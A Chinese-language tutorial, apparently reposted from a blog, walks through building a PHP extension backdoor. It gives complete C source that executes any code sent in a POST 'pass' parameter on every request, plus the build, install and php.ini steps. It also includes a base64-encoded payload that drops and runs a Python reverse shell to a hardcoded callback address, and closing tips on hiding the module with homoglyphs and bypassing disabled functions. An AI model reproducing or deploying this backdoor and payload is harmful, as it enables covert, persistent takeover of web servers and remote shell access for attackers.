1. 程式人生 > >手把手教你編寫一個簡單的PHP模塊形態的後門

手把手教你編寫一個簡單的PHP模塊形態的後門

cpp rest xtu job ring 事先 們的 original call

看到Freebuf 小編發表的用這個隱藏於PHP模塊中的rootkit,就能持久接管服務器文章,很感興趣,苦無作者沒留下PoC,自己研究一番,有了此文

0×00. 引言

PHP是一個非常流行的web server端的script語言.目前很多web應用程序都基於php語言實現。由於php是個開源軟件並易於擴展,所以我們可以通過編寫一個PHP模塊(module 或者叫擴展 extension)來實現一個Backdoor。 本文就簡單介下如何一步步編寫一個簡單的php 動態擴展後門。

0×01. php 擴後門的簡單設計

出於教學目的,這個動態擴展後門的功能設計比較簡單:

1). 通過過濾用戶提交的特定變量來啟動Backdoor.

2). 直接執行用戶提交的php代碼.

對於1)中過濾用戶提交的變量有兩種方法

方法1:

修改SAPI的input_filter或者是treat_data.你可以是hook後再執行php的原始代碼,也可以直接替換原始函數 ,具體介紹,請參考《http://xfocus.net/articles/200705/920.html》

方法2:

從php內建的數組裏獲取變量(即從php內核中獲取變量),這也是本文所要用到的方法

0×02. 開始編寫擴展後門代碼

結合0×01中php後門的設計,本文中要實現的後門功能為:

只要php解釋器加載了這個擴展,那麽對於每一次http POST 請求,這個擴展都會攔截,檢查一下是否有pass參數,如果有,則執行pass參數的值中的php代碼

本文用最快的(不是最標準的,標準的擴展一般還會單獨寫.h的頭文件)的方式來建立一個簡單的php擴展,共計兩個文件,一個是編譯配置文件config.m4, 一個是後門擴展源碼hacker.c

關於config.m4

config.m4文件用於指定正在開發的擴展在類unix系統下構建時支持的選項,指定此擴展需要哪些庫以及哪些源文件;使用 GNU autoconf (http://www.gnu.org/software/autoconf/manual/)語法編寫。 phpize 會根據config.m4的配置自動生成編譯相關文件(如下圖,就是我們常見的configure 之類的,然後就可以./configure && make &&make install)

技術分享

1) config.m4 內容

    PHP_ARG_ENABLE(hacker, 0,0)  

    PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)

就兩行,很簡單,這裏做個解釋

PHP_ARG_ENABLE

含有有三個參數,

第1個參數是我們擴展的名字,這裏為hacker

第2個參數是我們運行./configure 腳本時顯要指定示的內容,這裏沒有配置,即為0

第3個參數是我們在調用./configure –help 的 時候要指定顯示的幫助信息,這裏也沒有配置,為0

PHP_NEW_EXTENSION

PHP_NEW_EXTENSION(hacker, hacker.c, $ext_shared)

第1個參數是模塊名字,這裏為hacker

第2個參數表示的是編譯模塊需要的源文件名稱 ,這裏為hacker.c

如果我們的擴展使用了多個文件,便可以將這多個文件名羅列在函數的參數裏,不同源文件之間以空格隔開, 比如:

PHP_NEW_EXTENSION(sample, sample.c sample2.c sample3.c, $ext_shared)

第3個參數表示的是編譯的形式,這裏的$ext_shared參數用來聲明這個擴展不是一個靜態模塊,而是在php運行時動態加載的。

2)後門擴展源碼hacker.c

代碼比較簡單,主要有以下:

zend_module_entry 結構體定義,必須

ZEND_GET_MODULE 編譯加載模塊並返回zend_module_entry的指針,必須

模塊運行時函數聲明,標準的擴展都會在.h的都文件中聲明,這裏就在.c的源代碼中一起聲明了

模塊運行時函數定義

具體代碼:

    #include "php.h"

  
    //模塊運行時函數聲明

    PHP_RINIT_FUNCTION(hacker);

    
    //zend_module_entry 結構體定義

    zend_module_entry hacker_module_entry = {

    #if ZEND_MODULE_API_NO >= 20010901

    STANDARD_MODULE_HEADER,

    #endif

        "hacker", //模塊名,可以考慮用同形異義字, php -m 可以查詢到

        NULL,   //導出函數結構體hacker_functions,這裏設置為NULL

        NULL,   //PHP_MINIT(hacker) 模塊初始化,這裏沒有用到,設置為NULL

        NULL,   //PHP_MSHUTDOWN(hacker) 模塊清理, 這裏沒有用到,設置為NULL

        PHP_RINIT(hacker), //運行時初始化,這裏用到了,下面會著重講解

        NULL,              //PHP_RSHUTDOWN(hacker) 運行時清理,沒有用到,設置為NULL

        NULL,             //PHP_MINFO(hacker)處理phpinfo中的模塊信息,沒有用到,設置為NULL

        "1.0",           //模塊版本

        STANDARD_MODULE_PROPERTIES  

    };

  

    #ifdef COMPILE_DL_HACKER

    ZEND_GET_MODULE(hacker);

    #endif


    //模塊運行時函數定義

    //只要php解釋器加載了這個模塊,每個php請求時,都執行該函數

    PHP_RINIT_FUNCTION(hacker)

    {

    

        char* method = "_POST"; // 要過濾的變量,這裏為$_POST    ,因為一般情況下POST內容不被服務器記錄

        char* secret_string = "pass"; // 特定參數名,有點類似於菜刀的一句話密碼,根據參數名做到特定條件下觸發後門

        zval** arr; //指向指針的指針

        char* code;


        //在全局作用域(&EG(symbol_table))下收縮$_POST 變量,找到之後將指針值賦給arr

        if (zend_hash_find(&EG(symbol_table), method, strlen(method) + 1, (void**)&arr) != FAILURE) { 

            HashTable* ht = Z_ARRVAL_P(*arr);  //使用宏Z_ARRVAL_P獲取數組的值,因為$_POST是個數組

            zval** val;

            //在數組$_POST中查找參數名為pass的值,如果找到,則將值賦給val

            if (zend_hash_find(ht, secret_string, strlen(secret_string) + 1, (void**)&val) != FAILURE) { // 搜索hash表中期望的參數

                code =  Z_STRVAL_PP(val); // 使用宏Z_STRVAL_PP找到的參數值

                zend_eval_string(code, NULL, (char *)"" TSRMLS_CC); //執行代碼,也即變量$_POST[pass]的值

            }

        }

        return SUCCESS;

    }

代碼解釋補充

 #include "php.h"

php.h, 位於PHP 主目錄。這個文件包含了絕大部分 PHP 宏及 API 定義。編寫php擴展必備,需要安裝php開發庫,以centos7 php5.5 為例

yum install php5-devel

zend_module_entry 是編寫php 動態加載模塊必須註冊的一個結構體,hacker_module_entry是結構體名字,命名規範為:模塊名_module_entry, 來解釋一下這個結構體:

#if ZEND_MODULE_API_NO >= 20010901

STANDARD_MODULE_HEADER,

#endif

依據ZEND_MODULE_API_NO 是否大於等於 20010901,這個結構體需要不同的定義格式。20010901大約代表PHP4.2.0版本,所以我們現在的擴展幾乎都要包含STANDARD_MODULE_HEADER這個元素了

在php生命周期中,ZendEngine首先要初始化module,每個module中定義的PHP_MINIT_FUNCTION函數作為初始化代碼(ModuleInit)都會被執行一次,而PHP_RINIT_FUNCTION函數則是在每次頁面被請求的時候(RuntimeInit)都會執行一次。 因此對php函數的hook,設置php環境變量,對user input的過濾,都可以根據需要在這兩個函數中進行.本文擴展後門就是在RuntimeInit時候對變量進行hook。 然後在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中進行相應的清理.而作為Backdoor,PHP_MINFO_FUNCTION函數對我們則沒什麽必要,可以把這裏設置為NULL。

有關Z_STRVAL_PP Z_STRVAL_P Z_STRVAL的解釋,請參考:http://m.php.cn/write/910.html

0×03. 測試

1. 編譯環境:

centos7 x64

php5.4

需事先安裝好phpize

2. 編譯後門

1) 先運行phpize,生成編譯配置文件

2)./configure && make && make test

3) make install

技術分享

默認安裝在/usr/lib64/php/modules/, 當然你也可以用–prefix指定安裝目錄

技術分享

3. 配置 php.ini,啟用後門

技術分享

重啟httpd服務

使用php -m 查看是否模塊加載成功

技術分享

至此,php 擴展後門加載成功,下面就需要客戶端發送觸發代碼,觸發後門執行

4. 客戶端開始監聽,等待反彈

技術分享

5. 客戶端發送惡意代碼觸發後門反彈shell

在github上找到一個php反彈後門代碼:

https://github.com/XiphosResearch/exploits/blob/master/LotusCMS/back_python.php

修改以下反彈IP和端口,然後在除去換行符,再進行base64編碼,最後處理如下:

eval(base64_decode(‘CiRjYmhvc3QgPSAnMTAuMS4xMDAuMyc7IAokY2Jwb3J0ID0gJzMxMzM0JzsgCmVjaG8gInsrfSBVc2luZyAiLiRjYmhvc3QuIjoiLiRjYnBvcnQuIiBhcyBjYWxsYmFjay4uLlxueyt9IERyb3BwaW5nIHNoZWxsLi4uXG4iOwokc2hlbGwgPSAiSXlFdmRYTnlMMkpwYmk5d2VYUm9iMjR5Q2lNZ1kyOWthVzVuT2lCMWRHWXRPQW9qSUZObGJHWWdSR1Z6ZEhKMVkzUnBibWNzSUVSaFpXMXZibWx1WnlCU1pYWmxjbk5sSUZCVVdTNEtJeUJ5YlNkeklITmxiR1lnYjI0Z2NYVnBkQ0E2TXdvaklGUlBSRTg2Q2lNZ01Ub2dRV1JrSUdOeWVYQjBid29qSURJNklFRmtaQ0J3Y205amJtRnRaU0J6Y0c5dlpncHBiWEJ2Y25RZ2IzTUthVzF3YjNKMElITjVjd3BwYlhCdmNuUWdjSFI1Q21sdGNHOXlkQ0J6YjJOclpYUUthVzF3YjNKMElHTnZiVzFoYm1SekNncHphR1ZzYkcxelp5QTlJQ0pjZURGaVd6QnRYSGd4WWxzeE96TTJiVWR2ZENCeWIyOTBJSGxsZEQ5Y2VERmlXekJ0WEhKY2JpSWdJeUJ1WldWa2VpQmhjMk5wYVFvS1pHVm1JSEYxYVhSMFpYSW9iWE5uS1RvS0lDQWdJSEJ5YVc1MElHMXpad29nSUNBZ2IzTXVkVzVzYVc1cktHOXpMbkJoZEdndVlXSnpjR0YwYUNoZlgyWnBiR1ZmWHlrcElDTWdkVzVqYjIxdFpXNTBJR1p2Y2lCbmIyZHZjMlZzWm1SbGMzUnlkV04wQ2lBZ0lDQnplWE11WlhocGRDZ3dLUW9LWkdWbUlISmxkbVZ5YzJVb1kySm9iM04wTENCalluQnZjblFwT2dvZ0lDQWdkSEo1T2dvZ0lDQWdJQ0FnSUhWdVlXMWxJRDBnWTI5dGJXRnVaSE11WjJWMGIzVjBjSFYwS0NKMWJtRnRaU0F0WVNJcENpQWdJQ0FnSUNBZ2FXUWdQU0JqYjIxdFlXNWtjeTVuWlhSdmRYUndkWFFvSW1sa0lpa0tJQ0FnSUdWNFkyVndkQ0JGZUdObGNIUnBiMjQ2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWjNKaFlpQjFibUZ0WlM5cFpDQm1ZV2xzSnlrS0lDQWdJSFJ5ZVRvS0lDQWdJQ0FnSUNCemIyTnJJRDBnYzI5amEyVjBMbk52WTJ0bGRDaHpiMk5yWlhRdVFVWmZTVTVGVkN3Z2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb2dJQ0FnSUNBZ0lITnZZMnN1WTI5dWJtVmpkQ2dvWTJKb2IzTjBMQ0JwYm5Rb1kySndiM0owS1NrcENpQWdJQ0JsZUdObGNIUTZDaUFnSUNBZ0lDQWdjWFZwZEhSbGNpZ25ZV0p2Y25RNklHTnZibTVsWTNScGIyNGdabUZwYkNjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2IzTXVaSFZ3TWloemIyTnJMbVpwYkdWdWJ5Z3BMQ0F3S1FvZ0lDQWdJQ0FnSUc5ekxtUjFjRElvYzI5amF5NW1hV3hsYm04b0tTd2dNU2tLSUNBZ0lDQWdJQ0J2Y3k1a2RYQXlLSE52WTJzdVptbHNaVzV2S0Nrc0lESXBDaUFnSUNCbGVHTmxjSFE2Q2lBZ0lDQWdJQ0FnY1hWcGRIUmxjaWduWVdKdmNuUTZJR1IxY0RJZ1ptRnBiQ2NwQ2lBZ0lDQjBjbms2Q2lBZ0lDQWdJQ0FnYjNNdWNIVjBaVzUyS0NKSVNWTlVSa2xNUlNJc0lDSXZaR1YyTDI1MWJHd2lLUW9nSUNBZ0lDQWdJRzl6TG5CMWRHVnVkaWdpVUVGVVNDSXNJQ2N2ZFhOeUwyeHZZMkZzTDNOaWFXNDZMM1Z6Y2k5elltbHVPaTl6WW1sdU9pOWlhVzQ2TDNWemNpOXNiMk5oYkM5aWFXNDZMM1Z6Y2k5aWFXNG5LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hWMFpXNTJJR1poYVd3bktRb2dJQ0FnZEhKNU9nb2dJQ0FnSUNBZ0lITnZZMnN1YzJWdVpDaHphR1ZzYkcxelp5a0tJQ0FnSUNBZ0lDQnpiMk5yTG5ObGJtUW9KMXg0TVdKYk1Uc3pNbTBuSzNWdVlXMWxLeUpjY2x4dUlpdHBaQ3NpWEhneFlsc3diVnh5WEc0aUtRb2dJQ0FnWlhoalpYQjBJRVY0WTJWd2RHbHZiam9LSUNBZ0lDQWdJQ0J4ZFdsMGRHVnlLQ2R6Wlc1a0lHbGtMM1Z1WVcxbElHWjFZMnQxY0NjcENpQWdJQ0IwY25rNkNpQWdJQ0FnSUNBZ2NIUjVMbk53WVhkdUtDY3ZZbWx1TDJKaGMyZ25LUW9nSUNBZ1pYaGpaWEIwSUVWNFkyVndkR2x2YmpvS0lDQWdJQ0FnSUNCeGRXbDBkR1Z5S0NkaFltOXlkRG9nY0hSNUlITndZWGR1SUdaaGFXd25LUW9nSUNBZ2NYVnBkSFJsY2lnbmNYVnBkSFJwYm1jc0lHTnNaV0Z1ZFhBbktRb0taR1ZtSUcxaGFXNG9ZWEpuY3lrNkNpQWdJQ0JwWmlCdmN5NW1iM0pyS0NrZ1BpQXdPaUFLSUNBZ0lDQWdJQ0J2Y3k1ZlpYaHBkQ2d3S1FvZ0lDQWdjbVYyWlhKelpTaHplWE11WVhKbmRsc3hYU3dnYzNsekxtRnlaM1piTWwwcENncHBaaUJmWDI1aGJXVmZYeUE5UFNBaVgxOXRZV2x1WDE4aU9nb2dJQ0FnYldGcGJpaHplWE11WVhKbmRpa0siOwokeCA9IGZvcGVuKCIvdG1wL3giLCAidysiKTsKZndyaXRlKCR4LCBiYXNlNjRfZGVjb2RlKCRzaGVsbCkpOwpmY2xvc2UoJHgpOwplY2hvICJ7K30gU2hlbGwgZHJvcHBlZC4uLiBUcmlnZ2VyaW5nLi4uXG4iOwpzeXN0ZW0oInB5dGhvbiAvdG1wL3ggIi4kY2Job3N0LiIgIi4kY2Jwb3J0KTsKZGllKCd7K30gZ290IHNoZWxsPycpOyAvLyBwYXlsb2FkIHNob3VsZCBoYXZlIHJtJ2QgaXRzZWxmCgo=‘));

使用burpsuite 發送POST請求,參數為pass,值為上述eval(base64_decode 那一串值

技術分享

成功反彈shell

0×04. 總結

本文所涉及的php 擴展後門是相對比較簡單的,只是為了演示教學之目的。

如果系統禁用了eval等函數,還需要通過在後門中加入模塊初始化函數(PHP_MINIT_FUNCTION),動態修改php.ini以達到繞過disable_function的目的,另外,為了更好地隱藏自身,還需要在偽裝性上下點功夫,比如利用同形異義字欺騙用戶的眼睛,比如使得模塊名不在php -m中顯示等,當然這是後話,希望後續能有這樣的文章出現。

參考:

http://www.gnu.org/software/autoconf/manual

http://www.cunmou.com/phpbook/2.5.md

http://www.cnblogs.com/beatzeus/p/6085366.html

http://www.cunmou.com/phpbook/5.1.md

http://www.cunmou.com/phpbook/17.3.md

https://github.com/ForrestX386/tcp_killer

http://php.webtutor.pl/en/2001/07/07/zend_get_module/

http://www.cnblogs.com/bqrm/archive/2012/10/12/2721440.html

http://m.php.cn/write/910.html

http://xfocus.net/articles/200705/920.html

手把手教你編寫一個簡單的PHP模塊形態的後門